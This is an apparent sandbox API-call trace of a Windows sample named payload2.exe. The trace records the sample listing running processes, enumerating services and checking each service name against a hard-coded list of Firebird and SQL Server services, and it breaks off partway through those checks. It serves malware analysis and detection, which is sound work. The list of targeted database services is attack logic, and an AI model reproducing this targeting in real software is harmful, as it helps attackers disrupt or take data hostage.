	[0168.181] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.181] lstrlenW (lpString="svchost.exe") returned 11
	[0168.181] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.182] lstrlenW (lpString="svchost.exe") returned 11
	[0168.182] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.182] lstrlenW (lpString="svchost.exe") returned 11
	[0168.182] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.183] lstrlenW (lpString="svchost.exe") returned 11
	[0168.183] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x430, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.183] lstrlenW (lpString="svchost.exe") returned 11
	[0168.183] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x56c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.184] lstrlenW (lpString="svchost.exe") returned 11
	[0168.184] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.184] lstrlenW (lpString="svchost.exe") returned 11
	[0168.184] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.185] lstrlenW (lpString="svchost.exe") returned 11
	[0168.185] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.185] lstrlenW (lpString="svchost.exe") returned 11
	[0168.185] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x62c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0168.186] lstrlenW (lpString="spoolsv.exe") returned 11
	[0168.186] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.186] lstrlenW (lpString="svchost.exe") returned 11
	[0168.186] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x56c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0168.187] lstrlenW (lpString="audiodg.exe") returned 11
	[0168.187] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x704, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1
	[0168.187] lstrlenW (lpString="sihost.exe") returned 10
	[0168.187] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0168.187] lstrlenW (lpString="svchost.exe") returned 11
	[0168.188] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1
	[0168.188] lstrlenW (lpString="taskhostw.exe") returned 13
	[0168.188] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1b0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1
	[0168.188] lstrlenW (lpString="msoia.exe") returned 9
	[0168.188] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1
	[0168.189] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0168.189] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1
	[0168.189] lstrlenW (lpString="SecurityHealthService.exe") returned 25
	[0168.189] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x648, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1
	[0168.190] lstrlenW (lpString="Memory Compression") returned 18
	[0168.190] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x998, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x984, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0168.190] lstrlenW (lpString="explorer.exe") returned 12
	[0168.190] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1
	[0168.191] lstrlenW (lpString="SearchUI.exe") returned 12
	[0168.191] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1
	[0168.191] lstrlenW (lpString="ShellExperienceHost.exe") returned 23
	[0168.191] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1
	[0168.192] lstrlenW (lpString="RuntimeBroker.exe") returned 17
	[0168.192] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xccc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1
	[0168.192] lstrlenW (lpString="WmiPrvSE.exe") returned 12
	[0168.192] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x998, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload2.exe")) returned 1
	[0168.193] lstrlenW (lpString="payload2.exe") returned 12
	[0168.193] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xd7c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1
	[0168.193] lstrlenW (lpString="cmd.exe") returned 7
	[0168.193] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1
	[0168.194] lstrlenW (lpString="conhost.exe") returned 11
	[0168.194] Process32NextW (in: hSnapshot=0x46c, lppe=0x258fd2c | out: lppe=0x258fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xd8c, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0
	[0168.194] CloseHandle (hObject=0x46c) returned 1
	[0168.194] Sleep (dwMilliseconds=0x1f4) 
	[0168.741] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x668470
	[0168.742] EnumServicesStatusExW (in: hSCManager=0x668470, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 0
	[0168.742] GetLastError () returned 0xea
	[0168.742] RtlAllocateHeap (HeapHandle=0x610000, Flags=0x0, Size=0x1bbc) returned 0x444b7b8
	[0168.743] EnumServicesStatusExW (in: hSCManager=0x668470, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x444b7b8, cbBufSize=0x1bbc, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x444b7b8, pcbBytesNeeded=0x258ff3c, lpServicesReturned=0x258ff54, lpResumeHandle=0x0) returned 1
	[0168.743] CloseServiceHandle (hSCObject=0x668470) returned 1
	[0168.744] lstrlenW (lpString="AppXSvc") returned 7
	[0168.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0168.744] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0168.744] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0168.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0168.744] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0168.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0168.744] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0168.744] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0168.744] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0168.744] lstrlenW (lpString="Audiosrv") returned 8
	[0168.744] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.744] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0168.744] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0168.744] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0168.745] lstrlenW (lpString="BFE") returned 3
	[0168.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0168.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0168.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0168.745] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0168.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0168.745] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0168.745] lstrlenW (lpString="CDPSvc") returned 6
	[0168.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0168.745] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0168.745] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0168.745] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.745] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0168.745] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0168.746] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0168.746] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0168.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0168.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0168.746] lstrlenW (lpString="CryptSvc") returned 8
	[0168.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0168.746] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0168.746] lstrlenW (lpString="DcomLaunch") returned 10
	[0168.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0168.746] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0168.746] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0168.746] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.746] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0168.746] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0168.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0168.747] lstrlenW (lpString="Dhcp") returned 4
	[0168.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0168.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0168.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0168.747] lstrlenW (lpString="Dnscache") returned 8
	[0168.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0168.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0168.747] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0168.747] lstrlenW (lpString="DPS") returned 3
	[0168.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0168.747] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0168.747] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0168.747] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0168.747] lstrlenW (lpString="DsmSvc") returned 6
	[0168.747] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DsmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DsmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DsmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DsmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DsmSvc") returned 1
	[0168.748] lstrlenW (lpString="DusmSvc") returned 7
	[0168.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0168.748] lstrlenW (lpString="EventLog") returned 8
	[0168.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0168.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0168.748] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0168.748] lstrlenW (lpString="EventSystem") returned 11
	[0168.748] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0168.748] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0168.748] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0168.748] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0168.748] lstrlenW (lpString="FontCache") returned 9
	[0168.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0168.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0168.749] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0168.749] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0168.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0168.749] lstrlenW (lpString="gpsvc") returned 5
	[0168.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0168.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0168.749] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0168.749] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0168.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0168.749] lstrlenW (lpString="iphlpsvc") returned 8
	[0168.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0168.749] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0168.749] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0168.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0168.749] lstrlenW (lpString="KeyIso") returned 6
	[0168.749] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0168.749] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0168.749] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0168.749] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0168.749] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0168.750] lstrlenW (lpString="LanmanServer") returned 12
	[0168.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0168.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0168.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0168.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0168.750] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0168.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0168.750] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0168.750] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0168.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0168.750] lstrlenW (lpString="lfsvc") returned 5
	[0168.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0168.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0168.750] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0168.750] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0168.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0168.750] lstrlenW (lpString="lmhosts") returned 7
	[0168.750] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0168.750] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0168.750] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0168.750] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0168.750] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0168.751] lstrlenW (lpString="LSM") returned 3
	[0168.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0168.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0168.751] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0168.751] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0168.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0168.751] lstrlenW (lpString="MpsSvc") returned 6
	[0168.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0168.751] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0168.751] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0168.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0168.751] lstrlenW (lpString="NcbService") returned 10
	[0168.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0168.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0168.751] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0168.751] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0168.751] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0168.751] lstrlenW (lpString="netprofm") returned 8
	[0168.751] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0168.751] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0168.751] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0168.751] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0168.752] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0168.752] lstrlenW (lpString="NgcSvc") returned 6
	[0168.752] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
